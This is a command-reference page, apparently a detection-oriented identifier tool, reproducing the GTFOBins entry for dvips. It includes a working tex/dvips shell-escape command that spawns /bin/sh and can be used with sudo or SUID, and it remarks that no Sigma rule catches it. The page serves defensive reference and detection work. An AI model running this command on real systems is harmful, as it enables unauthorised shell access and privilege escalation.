Ceplin Command Identifier

Identifier / Programs / Linux and Unix

dvips

GTFOBins shell 1 ATT&CK technique 1 documented command

Opens the identifier with your command. It is read in your browser and sent nowhere.

How dvips is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-R0

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for dvips.

1 documented command

from GTFOBins, each read by the identifier

shell unprivileged, with sudo, as SUID

The texput.dvi output file produced by tex can be created offline and uploaded to the target.

tex '\special{psfile="`/bin/sh 1>&0"}\end'
dvips -R0 texput.dvi
Identify

The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for dvips. The identifier reads the line that runs dvips.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell